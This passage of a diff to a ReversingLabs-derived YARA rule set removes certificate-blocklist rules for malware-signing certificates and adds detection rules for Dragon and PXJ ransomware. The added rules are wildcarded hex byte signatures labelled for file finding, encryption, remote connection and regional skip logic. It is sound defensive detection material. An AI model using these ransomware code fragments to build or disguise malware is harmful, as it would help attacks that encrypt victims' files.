C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 + 30 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? 8B 4D ?? 8B + 04 85 ?? ?? ?? ?? F6 44 08 ?? ?? 74 ?? 80 3F ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 20 ?? E9 ?? ?? ?? ?? 2B 45 ?? EB ?? 33 C0 5F 5E 5B C9 C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Delta Controls" and pe.signatures [ i ] . serial == "62:9d:12:0d:d8:4f:9c:16:88:d4:da:40:36:6f:ab:7a" and 1306799999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $inject_code_into_process ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_039E5D0E3297F574Db99E1D9503853D9 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Dragon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Dragon ransomware." author = "ReversingLabs" - id = "969ffa17-de06-58d5-a74e-c115b49a9a6c" - date = "2020-08-05" - modified = "2023-11-08" + id = "dbeab955-f1fe-57eb-a9a4-c8c885ab7fad" + date = "2020-10-30" + modified = "2020-10-30" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2824-L2840" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Dragon.yara#L1-L149" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2f150f60b7dce583fc68705f0b29a7c8684f1b69020275b2ec1ac6beeaa63952" + logic_hash = "7298c5681deaf04abb6a656cefc09b5ee4096ff7a5028caab1d7b107e97be90a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Dragon" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Cigam Software Corporativo LTDA" and pe.signatures [ i ] . serial == "03:9e:5d:0e:32:97:f5:74:db:99:e1:d9:50:38:53:d9" and 1378079999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_Bc32Bbe5Bbb4F06F490C50651Cd5Da50 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "eb6ccc6d-2a66-5113-8b78-c32012431123" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2842-L2860" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "104be481b7d4b1cb3c43c72314afc3641983838b5177c34a88d6da0d0e7b89c9" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $remote_connection_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 83 EC ?? 89 45 ?? 8B + CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 + 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? + ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? + ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 + } + $remote_connection_p2 = { + 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? + 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? + ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F + 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 4D ?? 8D 55 ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 0F 43 4D ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 83 FA + ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? + 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B + 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? + 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 83 EC ?? 89 8D ?? + ?? ?? ?? 8B D4 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41 + 84 C0 75 ?? 2B CE 8B B5 ?? ?? ?? ?? 51 56 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D + } + $find_files_2 = { + 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? + 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ?? + 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 51 8B D4 8D 8D ?? ?? ?? ?? + 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41 84 C0 75 ?? 2B + CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? + 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F + 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $skip_hk_china_taiwan_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 89 45 ?? 8D 4D ?? 6A ?? + 68 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D + 4D ?? 83 7D ?? ?? 8D 55 ?? 0F 43 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? + 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 + ?? 0F 85 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? + ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? + 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 + C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 + ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 + ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? + ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 + } + $skip_hk_china_taiwan_p2 = { + 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 + 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? + ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 + C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? + 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 55 ?? + 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 + C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 + ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 + ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? + ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? + 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 + 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? + ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 + 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8 + ?? ?? ?? ?? E8 + } + $crypt_files = { + 8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 45 ?? 89 45 ?? 89 + 4D ?? 56 8B 75 ?? 85 C9 75 ?? 33 C0 E9 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 83 20 + ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 53 8B C6 + 8B D6 C1 FA ?? 83 E0 ?? 57 6B F8 ?? 89 55 ?? 8B 14 95 ?? ?? ?? ?? 89 7D ?? 8A 5C 3A + ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1 F7 D0 A8 ?? 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8 + ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? F6 44 3A ?? ?? 74 ?? 6A + ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 8D 7D ?? AB 56 AB AB E8 ?? ?? ?? ?? + 59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 8B 5D ?? 0F 87 ?? ?? ?? ?? FF 75 ?? 8D 45 + ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? 8D 45 ?? 53 + 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 04 8D ?? ?? ?? ?? 80 7C 10 + ?? ?? 7D ?? 0F BE C3 8B 5D ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 75 ?? FF 75 ?? + 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB + ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 10 ?? 8D 7D ?? 8B 5D ?? 33 + C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? 53 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? + ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 4D ?? 8B 55 ?? 8B 45 ?? 85 C0 75 ?? + 8B 45 ?? 85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 30 EB ?? 50 E8 ?? ?? ?? ?? 59 EB ?? 8B 04 8D ?? ?? ?? ?? F6 44 10 ?? ?? 74 + ?? 80 3B ?? 75 ?? 33 C0 EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 20 + ?? 83 C8 ?? EB ?? 2B 45 ?? 5F 5B 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Remedica Medical Education and Publishing Ltd" and ( pe.signatures [ i ] . serial == "00:bc:32:bb:e5:bb:b4:f0:6f:49:0c:50:65:1c:d5:da:50" or pe.signatures [ i ] . serial == "bc:32:bb:e5:bb:b4:f0:6f:49:0c:50:65:1c:d5:da:50" ) and 1387151999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $skip_hk_china_taiwan_p* ) ) and ( all of ( $find_files_* ) ) and ( $crypt_files ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3E1656Dfcaacfed7C2D2564355698Aa3 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_PXJ : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects PXJ ransomware." author = "ReversingLabs" - id = "57b75eaa-2cb2-5713-8eb3-065f90a1fdd5" - date = "2020-08-05" - modified = "2023-11-08" + id = "c1549905-5b31-55c0-a275-0ab8133b3504" + date = "2020-07-07" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2862-L2878" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.PXJ.yara#L1-L158" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ba7cca8d71f571644cabd3d491cddefffd05ca7a838f262a343a01e4a09bb72a" + logic_hash = "e88d27dcd7ad3af459bd7e34fcc827822365441446b0e4e7bbec399c9a948cb7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "PXJ" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "John W.Richard" and pe.signatures [ i ] . serial == "3e:16:56:df:ca:ac:fe:d7:c2:d2:56:43:55:69:8a:a3" and 1385251199 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_4Bf1D68E926E2Dd8966008C44F95Ea1C : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "c82170a4-911c-5206-bae8-6503a5449df9" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2880-L2896" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "44b5aae8380e3590ebb6e2365e89b3827432e8330e5290dc8f8603a00bcf62f6" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 68 ?? ?? ?? ?? + 33 F6 8D 8D ?? ?? ?? ?? 33 C0 56 51 89 9D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 53 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? + ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? + ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 53 8D 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9 ?? ?? + ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B + 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? + 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 + } + $find_files_p2 = { + 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB + ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 9F ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF + 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 + ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? + ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? + ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D + 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3A C1 75 ?? 01 8F ?? ?? ?? ?? 11 + B7 ?? ?? ?? ?? EB ?? 01 8F ?? ?? ?? ?? 11 B7 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 8B 4D ?? 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 + ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68 + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 89 85 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4D + ?? 8B 55 ?? 51 52 E8 ?? ?? ?? ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 53 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 51 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 33 F6 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ?? + 46 83 FE ?? 7C ?? 8D 55 ?? 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? + ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 6A ?? 51 + } + $encrypt_files_p2 = { + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 95 + ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 56 + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 85 ?? + ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? + 8B 3D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50 + 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D 